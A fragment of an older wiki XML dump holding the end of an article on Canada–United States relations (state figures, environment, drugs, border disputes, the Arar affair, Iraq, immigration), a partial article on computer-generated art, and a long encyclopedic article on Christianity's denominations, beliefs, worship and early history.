| style=&quot;text-align:left;&quot;| [[Image:Delaware state flag.png|20px]] [[Delaware]]||16,000||46
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Florida.svg|20px]] [[Florida]]||289,000||4
|-
| style=&quot;text-align:left;&quot;| [[Image:Georgia state flag.png|20px]] [[Georgia (U.S. state)|Georgia]]||152,000||10
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Hawaii.svg|20px]] [[Hawaii]]||26,000||39
|-
| style=&quot;text-align:left;&quot;| [[Image:Idaho state flag.png|20px]] [[Idaho]]||23,000||43
|-
| style=&quot;text-align:left;&quot;| [[Image:Illinois state flag.png|20px]] [[Illinois]]||237,000||5
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Indiana.svg|20px]] [[Indiana]]||112,000||14
|-
| style=&quot;text-align:left;&quot;| [[Image:Iowa state flag.png|20px]] [[Iowa]]||55,000||30
|-
| style=&quot;text-align:left;&quot;| [[Image:Kansas state flag.png|20px]] [[Kansas]]||51,000||31
|-
| style=&quot;text-align:left;&quot;| [[Image:Kentucky state flag.png|20px]] [[Kentucky]]||69,000||26
|-
| style=&quot;text-align:left;&quot;| [[Image:Louisiana state flag.png|20px]] [[Louisiana]]||73,000||23
|-
| style=&quot;text-align:left;&quot;| [[Image:Maine state flag.png|20px]] [[Maine]]||24,000||41
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Maryland.svg|20px]] [[Maryland]]||101,000||20
|-
| style=&quot;text-align:left;&quot;| [[Image:Massachusetts state flag.png|20px]] [[Massachusetts]]||134,000||13
|-
| style=&quot;text-align:left;&quot;| [[Image:Michigan state flag.png|20px]] [[Michigan]]||174,000||8
|-
| style=&quot;text-align:left;&quot;| [[Image:Minnesota state flag.png|20px]] [[Minnesota]]||103,000||19
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Mississippi.svg|20px]] [[Mississippi]]||43,000||34
|-
| style=&quot;text-align:left;&quot;| [[Image:Missouri state flag.png|20px]] [[Missouri]]||108,000||16
|-
| style=&quot;text-align:left;&quot;| [[Image:Montana state flag.png|20px]] [[Montana]]||16,000||45
|-
| style=&quot;text-align:left;&quot;| [[Image:Nebraska state flag.png|20px]] [[Nebraska]]||36,000||36
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Nevada.svg|20px]] [[Nevada]]||43,000||35
|-
| style=&quot;text-align:left;&quot;| [[Image:New Hampshire state flag.png|20px]] [[New Hampshire]]||24,000||42
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of New Jersey.svg|20px]] [[New Jersey]]||153,000||9
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of New Mexico.svg|20px]] [[New Mexico]]||30,000||37
|-
| style=&quot;text-align:left;&quot;| [[Image:New York state flag.png|20px]] [[New York]]||348,000||3
|-
| style=&quot;text-align:left;&quot;| [[Image:North Carolina state flag.png|20px]] [[North Carolina]]||151,000||11
|-
| style=&quot;text-align:left;&quot;| [[Image:North Dakota state flag.png|20px]] [[North Dakota]]||13,000||49
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Ohio.svg|20px]] [[Ohio]]||212,000||7
|-
| style=&quot;text-align:left;&quot;| [[Image:Oklahoma state flag.png|20px]] [[Oklahoma]]||58,000||29
|-
| style=&quot;text-align:left;&quot;| [[Image:Oregon state flag.png|20px]] [[Oregon]]||63,000||28
|-
| style=&quot;text-align:left;&quot;| [[Image:Pennsylvania state flag.png|20px]] [[Pennsylvania]]||219,000||6
|-
| style=&quot;text-align:left;&quot;| [[Image:Rhode Island state flag.png|20px]] [[Rhode Island]]||19,000||44
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of South Carolina.svg|20px]] [[South Carolina]]||69,000||25
|-
| style=&quot;text-align:left;&quot;| [[Image:South Dakota state flag.png|20px]] [[South Dakota]]||15,000||47
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Tennessee.svg|20px]] [[Tennessee]]||108,000||15
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Texas.svg|20px]] [[Texas]]||369,000||2
|-
| style=&quot;text-align:left;&quot;| [[Image:Utah state flag.png|20px]] [[Utah]]||44,000||33
|-
| style=&quot;text-align:left;&quot;| [[Image:Vermont state flag.png|20px]] [[Vermont]]||12,000||50
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Virginia.svg|20px]] [[Virginia]]||141,000||12
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Washington.svg|20px]] [[Washington]]||108,000||17
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Washington, D.C..svg|20px]] [[Washington, DC]]||29,000||38
|-
| style=&quot;text-align:left;&quot;| [[Image:West Virginia state flag.png|20px]] [[West Virginia]]||25,000||40
|-
| style=&quot;text-align:left;&quot;| [[Image:Wisconsin state flag.png|20px]] [[Wisconsin]]||103,000||18
|-
| style=&quot;text-align:left;&quot;| [[Image:Flag of Wyoming.svg|20px]] [[Wyoming]]||9,000||51
|-
| style=&quot;text-align:left;&quot;| '''Total'''
|'''5,210,000 '''
|-
| colspan=3 | http://www.canadianally.com/ca/news/map-en.asp
|}

==Environmental issues==
The Canadian government places a higher premium on energy and the environment than the U.S. government. The two countries also work closely to resolve transboundary environmental issues, an area of increasing importance in the bilateral relationship. A principal instrument of this cooperation is the [[International Joint Commission]] (IJC), established as part of the [[Boundary Waters Treaty of 1909]] to resolve differences and promote international cooperation on boundary waters. The [[Great Lakes Water Quality Agreement of 1972]] is another historic example of joint cooperation in controlling transboundary water pollution. However, there have been some disputes involving transboundary water pollution. Most recently, the Devil's Lake Outlet, a project instituted by North Dakota, has angered Manitobans who fear that their water may soon become polluted as a result of this project. 
The two governments also consult semiannually on transboundary air pollution. Under the [[Air Quality Agreement of 1991]], both countries have made substantial progress in coordinating and implementing their acid rain control programs and signed an annex on ground level ozone in 2000.

==Illicit drugs== 
The U.S. has expressed concern that Canada is an illicit producer of [[Cannabis (drug)|cannabis]] for the domestic drug market; the use of [[hydroponics]] technology permits growers to plant large quantities of high-quality [[Marijuana|marijuana]] indoors. 

In 2003 the American government became quite irate when the Canadian government announced plans to [[decriminalization|decriminalize]] marijuana. David Murray, an assistant to U.S. [[Director of the National Drug Control Policy|Drug Czar]] [[John P. Walters]], said in a [[Canadian Broadcasting Corporation|CBC]] interview that, &quot;We would have to respond. We would be forced to respond.&quot; [http://www.cbc.ca/story/canada/national/2003/05/02/us_pot_rxn030502.html].  However the [[Canadian federal election, 2006|election]] of the [[Conservative Party of Canada|Conservative Party]] in early 2006  may halt liberalization of narcotic laws in the near future.

==Territorial Disputes== 
These include maritime boundary disputes with the United States:
*[[Dixon Entrance]]
*[[Beaufort Sea]]
*[[Strait of Juan de Fuca]]
*[[San Juan Islands]]
*[[Machias Seal Island]]

Territorial land disputes:

*[[Aroostook War]] (Maine Boundary)
*[[Alaska Boundary Dispute]]

and disputes over the international status of the:

*[[Northwest Passage]]
*[[Inside Passage]]

==Arar Affair==
On [[September 26]], [[2002]], U.S. officials detained on suspicion of terrorist links a Syrian-Canadian citizen named [[Maher Arar]] who had been travelling through in New York as part of a trip home to Canada from vacation in Tunisia.

Despite travelling on Canadian passport, Arar was deported to Syria, a country he had not visited since his teenage years.  He was imprisoned there for over a year, during which he claims he was frequently tortured.  The decision by U.S. officials to deport him to Syria, his imprisonment and torture there, and the extent of collaboration between U.S. and Canadian officials became a major political issue in Canada at the time.
{{seealso|Soviet Canuckistan}}

==2003 Invasion of Iraq==
According to contemporary polls, the vast majority of Canadians were opposed to the [[2003 invasion of Iraq]]. The Canadian government under Prime Minister [[Jean Chrétien]] maintained a wait-and-see position with emphasis on [[United Nations|UN]] authority, while moving military planners and ships into positions of readiness for the war against Iraq, as well as freeing U.S. forces by sending troops to [[Afghanistan]]. It is in fact doing what it is asked by the U.S. government in military terms, while maintaining a public stance toward the Canadian people that assumes a position of non-participation. To date 11,000 Canadian personnel have served in the [[War on Terror]]. Eighteen warships have been deployed so far, and Canada has led the International Security Assistance Force in Kabul by providing the largest contribution of troops and its commander. 

The Canadian [[Embassy]] in [[Washington, DC]] maintains a [[public relations]] [[web site]] named [http://www.canadianally.com CanadianAlly.com], which is intended &quot;to give American citizens a better sense of the scope of Canada's role in North American and Global Security and the War on Terror.&quot;

==Immigration==
Canada has been frequently criticized in U.S. media and by some U.S. politicians for its allegedly weak immigration laws, often with the implication that terrorists might succeed in entering the U.S. through Canada, as the Canada-U.S. border is more open than other entry points to the U.S.

On an [[April 19]], [[2005]] airing of [[Hannity and Colmes]], guest [[Newt Gingrich]] claimed that &quot;far more of the [[September 11, 2001 attacks|9/11]] terrorists came across from Canada than from Mexico.&quot;  As this was false (none of the 19 hijackers had come through Canada or Mexico) Gingrich later apologized to Canadian ambassador [[Frank McKenna]], saying that he deeply regretted perpetuating what had become a &quot;widespread inaccuracy.&quot;

==Notes==
# {{note|1}} Quoted during a speech by Trudeau to the [[National Press Club]] in [[Washington, DC]] on [[25 March]] [[1969]]; the author of the speech was later attributed to Ivan Head, Trudeau's adviser.

==See also==
*[[David Wilkins]], U.S. ambassador to Canada
*[[Michael Wilson (politician)|Michael Wilson]], [[List of Canadian ambassadors to the United States|Canadian ambassador to U.S.]]
*[[Foreign relations of Canada]]
*[[Foreign relations of the United States]]
*[[Canadian and American politics compared]]
*[[Canadian and American economies compared]]
*[[Canada and the American Civil War]]
*[[Canada and the Vietnam War]]
*[[Canada in the Cold War]]

[[Category:Canada and the United States|*]]
[[Category:Foreign relations of Canada]]
[[Category:Foreign relations of the United States]]</text>
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    <title>Canada/Provinces and territories</title>
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    <title>Canada/Prime Ministers</title>
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:''See also :'' [[Canada]]</text>
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    <title>Canada/cities</title>
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  <page>
    <title>Computer-generated art</title>
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      <comment>Reverted edits by [[Special:Contributions/202.44.32.11|202.44.32.11]] ([[User talk:202.44.32.11|talk]]) to last version by 172.189.254.112</comment>
      <text xml:space="preserve">[[Image:Rendered mountain.jpg|right|thumbnail|250px|A computer-generated mountain]] 

'''Computer-generated art''' is [[art]] created with a [[computer]]. The term is usually applied to 
A possible third paradigm is to generate art in 2D or 3D entirely through the execution of algorithms coded into computer programs. This may be called [[Proceduralism]] and could be considered the native art form of the computer. That is, it cannot be produced without the computer. [[Fractal art]] is an example. 

==See also==
* [[Computer generated music]]
* [[Fractal art]]
* [[Digital art]]
* [[Machinima]]
* [[Generative art]]

[[Category:Computer art]]
[[Category:Computer graphics]]</text>
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    <title>Conditional Probability</title>
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    <title>CIAWorldFactbook</title>
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    <title>C.S. Lewis</title>
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  <page>
    <title>Christianity</title>
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        <username>Terenceong1992</username>
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      <comment>rv spam link</comment>
      <text xml:space="preserve">{{Christianity}}
{{portal}}
'''Christianity''' is a [[monotheism|monotheistic]] [[religion]] centered on the life, teachings, and actions of [[Jesus]], the [[Christ]], as recounted in the [[New Testament]].

With an estimated 2.1 billion adherents{{fn|1}}, Christianity is the world's largest [[major world religions|religion]]. Its origins are intertwined with [[Judaism]], with which it shares much sacred text and early history; specifically, it shares the [[Tanakh|Hebrew Bible]], known in the Christian context as the [[Old Testament]]  (''see [[Judeo-Christian]]'').{{fn|2}} Christianity is considered an [[Abrahamic religion]], along with [[Judaism]] and [[Islam]]. 

In the Christian scriptures, the name &quot;[[Christian]]&quot; and so &quot;Christianity&quot; is first attested in [[Acts of the Apostles|Acts]] 11:26: &quot;For a whole year they met with the church and taught a great many people. And in Antioch Jesus' [[disciple]]s were first called '''Christians'''&quot; (Gr. χριστιανους, from ''[[Christ]]'' Gr. Χριστός, which means &quot;the anointed&quot;).

==Denominations==
Within Christianity, numerous distinct groups have developed, with diverse beliefs that vary widely by culture and place. Since the [[Reformation]], Christianity is usually represented as being divided into three main branches:
*[[Catholicism]]: The [[Roman Catholic Church]], the largest single body &amp;mdash; which includes several [[Eastern Catholic]] communities &amp;mdash; as well as certain smaller communities (e.g., the [[Old Catholic Church|Old-Catholics]]), with more than 1 billion baptized members.
*[[Eastern Christianity]]: [[Oriental Orthodoxy|Oriental Orthodox Churches]], the [[Assyrian Church of the East]], and the [[Eastern Orthodox Church]]es, with a combined membership of more than 240 million baptized members.
*[[Protestantism]]: Numerous denominations and groups such as [[Anglicanism|Anglicans]], [[Lutheranism|Lutherans]], [[Reformed]], [[Evangelicalism|Evangelical]], [[Charismatic]], [[Presbyterian]]s, [[Baptist]]s, [[Methodist]]s, [[Anabaptist]]s, and [[Pentecostalism|Pentecostals]]. The oldest of these groups separated from the Roman Catholic Church in the 16th-century [[Protestant Reformation]]. The later groups typically formed as separations from the older ones. Some Protestants identify themselves simply as ''Christian,'' or ''born-again Christian''. Others, particularly among Anglicans and in [[Neo-Lutheranism]], identify themselves as being &quot;''both'' Catholic ''and'' Protestant&quot;. Worldwide total is just under 500 million.

Other denominations and churches which self-identify as Christian but which distance themselves from the above classifications together claim around 275 million members. These include [[:Category:Religion in Africa|African indigenous churches]] with up to 110 million members (estimates vary widely), [[The Church of Jesus Christ of Latter-day Saints]] (also called [[Mormons]]) with more than 12 million members{{fn|3}}, [[Jehovah's Witnesses]] with approximately 6.6 million members{{fn|4}}, and other groups{{fn|5}}. The early leaders of most of these groups were originally Protestant adherents.

These broad divisions do not themselves encompass unanimity. On the contrary, some branches contain vast internal disagreements, while in other cases the divisions overlook strong sympathies between and among the groups. Nevertheless, this tends to be the standard overview of distinctions, especially as viewed in the [[Western world]].

[[Image:Christian-lineage.png|605px|thumb|center||A chart showing the development of major church branches from their roots.]]

==Beliefs==
[[Image:Cristo Velázquez lou2.jpg|thumb|right|175px|Jesus' [[crucifixion]] as portrayed by [[Diego Velázquez]]. Jesus' life, especially his crucifixion and resurrection, is the basis of  Christianity.]]
Enormous diversity of belief exists among Christians.  Nevertheless, certain doctrines have come to characterize the mainstream of Christian theology.

===Triune God===
{{main|Trinity}}
This is the belief that God is a single eternal being who exists as three distinct, eternal, and indivisible persons: [[God the Father|Father]], Son ([[Jesus]]), and [[Holy Spirit]] (or ''[[Holy Ghost]]'').

=== Messiah ===
Most Christians see Jesus Christ as the [[Messiah]] who was promised in the [[Old Testament]] [[Bible prophecy]].

===Jesus Christ as God===
This is the belief that [[Jesus]] is both fully God (divine) and fully human: two natures in one person, as described in the [[Chalcedonian Creed]].  As a human, Jesus is believed to have possessed the qualities of mortality; He suffered the pains and temptations of mortal man.  Significantly, He had the ability to die.  Being divine, He possessed the ability to take up His own life again.

===Crucifixion and Resurrection===
This is the belief that [[Jesus]] [[crucifixion|died on the Cross]], [[resurrection|rose from the dead]], and [[ascension|ascended]] into Heaven after appearing to his disciples, most notably to the [[Twelve Apostles|Apostles]].

===Jesus Christ as Salvation===
This is the belief that [[salvation]] from &quot;[[sin]] and [[death]]&quot; is available through the person and work of Jesus.  Protestants, Catholics, and Orthodox Christians have arrived at several explanations as to exactly how this salvation occurs. (See [[soteriology]].) 

Most Christians interpret [[salvation]] to mean being able to enter heaven (and escape hell) after death, though some theologians have lamented this tendency.  The question of &quot;who is saved&quot; has long been considered a dark mystery by many theologians, though most Protestants consider it a relatively simple issue of whether or not one has accepted Jesus as Lord and Savior.

===Second Coming===
{{main|Second Coming}}
This is the belief in the &quot;General Resurrection&quot;, in which all people who have ever lived will rise from the dead at the [[end of time]], to be [[Last Judgement|judged]] by Christ when He returns.

===The Afterlife===
Christian views of the [[afterlife]] generally involve [[heaven]] and (somewhat less frequently) [[hell]], with Catholicism adding an intermediate realm of [[purgatory]]. Except for purgatory (whose denizens will ultimately enter heaven, after &quot;purification&quot;), these realms are usually assumed to be eternal. There is, however, some debate on this point, for example among the Orthodox. 

It is generally unclear how the afterlife fits together with the doctrine of the General Resurrection &amp;mdash;whether eternal life begins immediately after death, or at the end of time; and whether this afterlife will involve the resurrection of one's physical body (perhaps in a glorified spiritual form). Most Christians hold that one's consciousness, the [[soul]], survives the death of the physical body, although the Jehovah's Witnesses, among others, reject this, saying that those who practiced good things will be resurrected to life and those who practiced vile things to a resurrection of judgment.

==Differences in beliefs==
===Nicene Creed===
{{main|Nicene Creed}}
One statement describing the beliefs of a majority of Christians is the [[Nicene Creed]], ratified as the universal creed of Eastern and Western Christendom by the [[Council of Ephesus]] in [[431]]. Roman Catholic and Eastern Orthodox Christians disagree about the [[Filioque clause|''Filioque'' clause]], which the Western Churches included later. Some Protestants reject the concept of formal creeds. The overwhelming majority of Christians accepts at least the content of the Nicene creed.

Central Christian beliefs which are affirmed in the Nicene Creed include, but are not limited to: 
* The [[Trinity]]
* [[Jesus]] is both true God and true man.
* [[Salvation]] is available through the person, life and death of [[Jesus]] Christ.
* The [[virgin birth]], [[crucifixion]], [[resurrection]], [[ascension]], and [[Second Coming]] of [[Jesus]].
* The resurrection of the dead, in which all people who have ever lived will rise from the dead at the [[end of time]], to be [[Last Judgement|judged]] by Christ.

Some groups, however, deviate from tenets which most others hold as absolutely basic to Christianity. On account of these deviations they are considered heretical, [[nontrinitarian]], or even non-Christian by many of the mainstream Christian groups. Most such disputes center on the [[Trinity]], the divinity of [[Jesus]], or both. The words of the Nicene Creed frequently target certain opposing beliefs of other early Christians, which the council regarded as [[heresy|heretical]]. Examples would include [[Ebionite]] groups which denied Jesus' divinity, a well as [[Docetism|Docetist]] groups which denied that Christ was a human being, or [[Arianism|Arians]], who denied that the Father and the Son were &quot;of one being&quot; (ομούσιος). Other early heresies included [[Simon Magus|Simonianism]], [[Marcionism]], [[Gnosticism]] and [[Montanism]]. Again, while some churches take exception to some of these articles, to the extent that they do so, this usually represents a conscious departure from the Christian mainstream. Some Christian traditions, such as those of the [[Baptist]]s and the [[Churches of Christ]], would accept these beliefs but not the creed itself, since they regard all creeds as unnecessary and even counter-productive.

===Scriptures===
====Authority and different parts of the Bible====
Virtually all Christian churches accept the authority of the [[Bible]], including the [[Old Testament]] and the [[New Testament]]. Differences exist in the [[Biblical canon|canon]]s of the Orthodox, Catholic, and Protestant churches — primarily their treatment of the [[Apocrypha#Majority Christian usage|Deuterocanonical books]] used by Catholic and Orthodox Churches but rejected by Protestants as [[Apocrypha]]. This issue affects doctrines only indirectly. More theologically significant is the [[Swedenborgian]] churches' rejection of the New Testament Epistles, a stance which has not won acceptance from any other denomination.

Whereas Jews see the [[Torah]] as the most important part of the Bible, most Christians regard the [[Gospels]], which tell of the life and teachings of Jesus, as central. Ornamental books of the four gospels are sometimes used in church liturgies. These may be carried into the church in procession, and laid upon the altar during the first part of the service. The &quot;gospel&quot; means the &quot;good news&quot; of the Christian message, which Christians regularly disseminate to others. This may include [[missionary]] work as well as the translation and distribution of Bibles, as practiced by [[Gideons International]], [[Wycliffe Bible Translators]] and others.

====Interpretation====
Though Christians largely agree on the content of the Bible, no such consensus is forthcoming on the crucial matter of its interpretation, an issue which divides denominations from within as well as from one another. &quot;[[Biblical literalism]]&quot; or &quot;[[Christian fundamentalism]]&quot; describe well-known [[conservative Christianity]] hermeneutic stances with respect to Christian scriptures, and are mainly associated with Protestantism.

Catholics, the Orthodox, and some Anglicans consider the Bible as having been produced by one phase (albeit formative) of the development of church tradition, or &quot;Holy Tradition.&quot; This Holy Tradition has been established and perpetuated through the decisions of the [[ecumenical council]]s, the writings of the [[Church Fathers]], the lives and teachings of the [[saint]]s, liturgical practice, sacred art, and papal statements (for Roman Catholics), and is thought to be alive today. Indeed, one Orthodox theologian has characterized Holy Tradition as &quot;the voice of the Holy Spirit in the Church.&quot;

Protestants, meanwhile, tend to strongly reject portions of &quot;Holy Tradition&quot; while readily accepting other portions. Most Protestants tend to accept [[Martin Luther]]'s dictum of [[sola scriptura]], which sees the Bible as the ultimate, or only, source of faith and doctrine. Protestantism also assumes that any Christian believer is capable of rightly interpreting the Bible. Even Protestants concede that this view raises difficulties, especially given the wide variety of practices and beliefs which have some arguable claim to biblical warrant and, based on these divergences, because Protestantism has spawned such a large variety of denominations and traditions.

====Other works in addition to Scripture====
Some Christian groups have also elevated additional writings to the status of inspired scripture. Well-known examples would include the ''[[Book of Mormon]]'', considered to be &quot;another Testament of Jesus Christ&quot; by the [[Latter Day Saints]]; several works of [[Ellen G. White]], considered sacred by many [[Seventh-day Adventists]]; and ''[[Science and Health With Key to the Scriptures]]'' by [[Christian Science]] founder [[Mary Baker Eddy]]. Others, such as the Jehovah's Witnesses, have produced translations of the Bible which they hold to be wholly reliable. This elevation of other writings to the same level as accepted scriptures is a major cause for disputes between these groups and mainstream Christians. One might expect [[Lutheranism|Lutherans]] and [[Calvinism|Calvinists]] to regard the interpretations of Martin Luther and [[John Calvin]], respectively, with similar reverence, but most theologians agree that their writings are a mixture of good and bad and are not &quot;inspired.&quot;

==Worship and practices==
Orthodox and Catholic believers describe Christian worship in terms of the seven [[sacrament]]s or &quot;[[mystery|mysteries]].&quot; These include [[baptism]], the [[Eucharist]] ([[Eucharist|communion]]), [[Catholic marriage|matrimony]], [[Holy Orders]], [[Confirmation (sacrament)|confirmation]] or [[Chrismation]], [[Confession#Roman Catholicism|penance and reconciliation]], and the [[Anointing of the Sick]].

Many Protestant groups, following [[Martin Luther]], recognize the sacramental nature of baptism and communion, but not usually the other five in the same way. [[Anabaptist]] and [[Brethren]] groups would add [[feet washing]]. [[Pentecostalism|Pentecostal]], [[Charismatic]], and [[Holiness Churches]] emphasize &quot;[[gifts of the Spirit]]&quot; such as [[spiritual healing]], [[prophecy]], [[exorcism]], and [[glossalalia|speaking in tongues]]. These emphases are used not as &quot;sacraments&quot; but as means of worship and ministry. The [[Quakers]] deny the entire concept of sacraments. Nevertheless, their &quot;testimonies&quot; affirming peace, integrity, equality, and simplicity are affirmed as integral parts of the Quaker belief structure.

In general, Protestants tend to view Christian rituals in terms of commemoration apart from mystery. Orthodox, Roman Catholic, Old-Catholic and many Anglican and Lutheran Christians hold the commemoration and mystery of rituals together, seeing no contradiction between them.  

Virtually all Christian traditions affirm that Christian practice should include acts of personal piety such as [[prayer]], Bible reading, and attempting to live a moral lifestyle. This lifestyle includes not only obedience to the [[Ten Commandments]], as interpreted by Christ (as in the [[Sermon on the Mount]]), but also love for one's neighbor in both attitude and action &amp;mdash; whether friend or enemy, Christian or non-Christian. This love is commanded by Christ and, according to him, is next only in importance to love toward God; which includes obedience to such injunctions as &quot;feed the hungry&quot; and &quot;shelter the homeless&quot;, both informally and formally. Christianity teaches that it is impossible for people to completely reform themselves, but that moral and spiritual progress can only occur with God's help through the gift of the [[Holy Spirit]], who dwells within all faithful believers. Christians believe that by sharing in Christ's life, death, and resurrection, they die with Him to sin and can be resurrected with Him to new life.

===Weekly worship services===
[[Justin Martyr]] (''First Apology'', chapter LXVII) describes a second-century church service thus:

:And on the day called Sunday, all who live in cities or in the country gather together to one place, and the memoirs of the apostles or the writings of the prophets are read, as long as time permits; then, when the reader has ceased, the president verbally instructs, and exhorts to the imitation of these good things. Then we all rise together and pray, and, as we before said, when our prayer is ended, bread and wine and water are brought, and the president in like manner offers prayers and thanksgivings, according to his ability, and the people assent, saying Amen; and there is a distribution to each, and a participation of that over which thanks have been given, and to those who are absent a portion is sent by the deacons. And they who are well to do, and willing, give what each thinks fit; and what is collected is deposited with the president, who succours the orphans and widows and those who, through sickness or any other cause, are in want, and those who are in bonds and the strangers sojourning among us, and in a word takes care of all who are in need.

Justin's description, which applies to some extent to most church services today, alludes to the following components:

:*Scripture readings drawn from the Old Testament, one of the Gospels, or an Epistle. Often these are arranged systematically around an annual cycle, using a book called a [[lectionary]].

:*A [[sermon]]. In ancient times this followed the scripture readings; today this may occur later in the service, although in liturgical churches, the sermon still often follows the readings.

:* Congregational [[prayer]] and thanksgiving. These will probably occur regularly throughout the service. Justin does not mention this, but some of these are likely to be sung in the form of [[hymns]]. The [[Lord's Prayer]] is especially likely to be recited.

:*The [[Eucharist]] (also called [[Holy Communion]], or the [[Lord's Supper]])&amp;mdash; a ritual in which small amounts of bread and wine are consecrated, and then eaten and drunk.  Some Christians say these ''represent'' the body and blood of Christ whereas Orthodox, Catholics, and most Anglicans say that they ''become'' the body and blood of Christ (the doctrine of the [[Real Presence]]). Churches in the &quot;liturgical&quot; family (Orthodox, Catholic, and some Anglican) see this as the main part of the service, while some Protestants may celebrate it less frequently. In many cases there are restrictions on who may partake, concerning which visitors should apprise themselves. For example, only Catholics free from unconfessed [[mortal sin]] may receive Communion in a Catholic church, though it is rare for the Eucharist to be denied to anyone.

:*A &quot;collection&quot; or &quot;offering&quot; in which the people are asked to contribute money. One common method is to pass around a [[collection plate]]. Christians traditionally use these monies not only for upkeep for the church, but also for charitable work of various types.

Several variations or exceptions exist. Sometimes these are due to special events, such as baptisms or weddings which are incorporated into the service. In many churches today, children and youth will be excused from the main service in order to attend [[Sunday school]]. Many denominations depart from this general pattern in a more fundamental way. For example, the [[Seventh-day Adventist Church|Seventh-day Adventist]]s meet on Saturday (the biblical [[Sabbath]]); not Sunday, the day of Christ's [[resurrection]]. [[Charismatic]] or [[Pentecostal]] congregations may be spontaneously moved by the Holy Spirit, rather than follow a formal order of service. At a Quaker meeting, participants sit quietly until moved by the Holy Spirit to speak.

In  some denominations (mainly liturgical ones), the service is led by a [[priest]]. In others (mainly among Protestants), there is a [[minister of religion|minister]], [[preacher]], or [[pastor]]. Still others may lack formal leaders, either in principle or by local necessity. In addition, there are &quot;high&quot; church services, characterized by greater solemnity and ritual, and &quot;low&quot; services at which a more casual atmosphere prevails, even if the service in question is liturgical in nature.

In Orthodox churches, the congregation traditionally stands throughout the liturgy (although allowances are made for human weakness). Roman Catholics and many Protestant churches follow a custom in which participants stand to sing, kneel to pray, and sit to listen (to the sermon). Others services are less programmed, and may be quite lively and spontaneous. Music is usually incorporated, and often involves a [[choir]] and/or [[organ (music) | organ]]. Some churches use only [[a cappella]] music, either on principle (many [[Churches of Christ]] object to the use of musical instruments in worship) or by tradition (as in Orthodoxy).

In many [[non-denominational]] Christian churches, as well as some Protestant denominations, there is usually a [[worship music]] portion of the service that precedes the sermon or message. This usually consists of the singing of [[hymns]], [[praise and worship music]] or [[psalms]]. Many churches believe that worship is important to usher in the Presence of God for the rest of the service.

A recent trend is the growth of &quot;convergence worship&quot; which combines liturgy with spontaneity.  This sort of worship is often a result of the influence of [[Charismatic|charismatic renewal]] within Churches which are traditionally liturgical.  Convergence worship has spawned at least one new denomination, the [[Charismatic Episcopal Church]].

===Holidays===
Catholics, Eastern Christians, and about half of the Protestants follow a [[liturgical calendar]] with various holidays (from &quot;holy day&quot;). These calendars include feast days (where special worship services are held, to mark a special anniversary) as well as days of [[fasting]]. Typically, a feast will be found preceded by a traditional fast. The best-known fasting period is [[Lent]]. 

Even Christians who do not follow a liturgical tradition can generally be found celebrating [[Christmas]] and [[Easter]], despite some disagreement as to dates. A few churches object to the recognition of special holidays and may object to the pagan origins of Christmas and Easter.

===Symbols===
The best-known Christian symbol is the [[cross]], of which many varieties exist. For convenience of recognition, several denominations tend to favor distinctive crosses: the [[crucifix]] for Catholics, the [[crux orthodoxa]] for Orthodox, and the unadorned cross for Protestants. However, this is not a hard-and-fast rule. Other Christian symbols include the [[ichthys]] (&quot;fish&quot;) symbol, or in ancient times, an [[anchor]].

==History and Origins==
{{main|History of Christianity}}
{{seealso|Timeline of Christianity}}

Christianity began within the Jewish religion among the followers of [[Jesus|Jesus of Nazareth]]. Under the leadership of the Apostles [[Saint Peter|Peter]] and [[Paul of Tarsus|Paul]], it opened up early to [[Gentiles]], gradually distinguishing itself from and parting ways with [[Judaism|Rabbinical Judaism]]. Some Jewish Christians rejected this approach and developed into various sects of their own. Among Gentile Christians, separated by geography, a great diversity existed, but a church hierarchy seems to have developed, at least by the time of the writing of the [[Pastoral Epistles]], and was certainly formalized by the 3rd century.

Christianity spread across the [[Mediterranean Basin]], enduring persecution by Roman Emperors. As Christianity expanded beyond Palestine, it also came into contact with Greek philosophy, which would become a significant influence on Christian thought. Early Christian theologians such as [[Origen]] worked to create a synthesis between Greek philosophy, especially [[Platonism]], and Christianity, developing a distinctively Christian theology. Christian teachers sought to distinguish their faith from other religious beliefs of the day, notably [[Gnosticism]] (some sects of which were strongly influenced by Christian ideas) and [[Mithraism]]. Various elements of the contemporary pagan religion, particularly the [[mystery cults]], may have been absorbed into Christianity, although scholars differ as to the level of influence thus exerted.

Early in the 4th century, the Emperor [[Constantine the Great]] legalized Christianity. [[Theodosius I]] established it as the official religion of the [[Roman Empire]] near the end of the century. From that time onwards, the history of Christianity is difficult to extricate from the cultural and political history of Europe and surrounding regions, as the Church took on some of the political and cultural unifying role previously held by the Roman pagan institutions. The Roman Empire, having become Christian, now suppressed both the old [[Paganism|pagan cults]] and those forms of Christianity which the Church had condemned as [[heresy|heretical]]. After the religion's legalization, doctrinal disputes, especially regarding [[Christology]], intensified, leading to internal strife and the attempt to reach clearer dogmatic definitions through [[Ecumenical council|ecumenical councils]]. Various forms of [[monasticism]] also developed, beginning in the early fourth century.

